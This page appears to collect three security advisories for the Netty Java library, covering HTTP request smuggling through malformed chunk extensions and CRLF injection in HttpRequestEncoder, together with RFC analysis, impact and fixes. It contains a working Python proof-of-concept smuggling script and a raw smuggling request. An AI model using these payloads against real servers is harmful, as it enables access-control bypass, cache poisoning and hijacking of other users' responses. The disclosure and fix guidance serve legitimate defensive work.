Package Instance

Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
## Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

## Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

- <https://w4ke.info/2025/06/18/funky-chunks.html>
- <https://w4ke.info/2025/10/29/funky-chunks-2.html>

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

## Technical Details

**RFC 9110 Section 7.1.1** defines chunked transfer encoding:

```
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
```

**RFC 9110 Section 5.6.4** defines quoted-string:

```
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
```

Critically, the allowed character ranges within a quoted-string are:

```
qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )
```

CR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).

## Vulnerability

Netty terminates chunk header parsing at `\r\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

**Expected behavior (RFC-compliant):**
A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

**Actual behavior (Netty):**

```
Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request
```

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

## Proof of Concept

```python
#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
```

**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

### Parsing Breakdown

| Parser                | Request 1         | Request 2                          |
|-----------------------|-------------------|------------------------------------|
| Netty (vulnerable)    | POST / body="X"  | GET /smuggled (SMUGGLED)           |
| RFC-compliant parser  | 400 Bad Request   | (none — malformed request rejected)|

## Impact

- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.
- **Cache Poisoning**: Smuggled responses may poison shared caches.
- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.
- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.

## Reproduction

1. Start the minimal proof-of-concept environment using the provided Docker configuration.
2. Execute the proof-of-concept script included in the attached archive.

## Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

```
1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.
```

## Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

## Resources

- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)
- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)
- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)

## Attachments

![Vulnerability Diagram](https://github.com/user-attachments/assets/2faaa23e-693b-4efc-afb7-aae1d4101e7e)

[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)

Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions
## Summary
A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.

## Details
When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)).

This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):

```
POST /one HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0

POST /two HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

0

```

The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)).

## Impact
This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.

The impact is high, but it only affects setups that use a front-end which:
1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension.
2. Forwards chunk extensions without normalization.

## Disclosure

 - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html

## Discussion
Discussion for this vulnerability can be found here:
 - https://github.com/netty/netty/issues/15522
 - https://github.com/JLLeitschuh/unCVEed/issues/1

## Credit

 - Credit to @JeppW for uncovering this vulnerability.
 - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure.

Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder
The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri.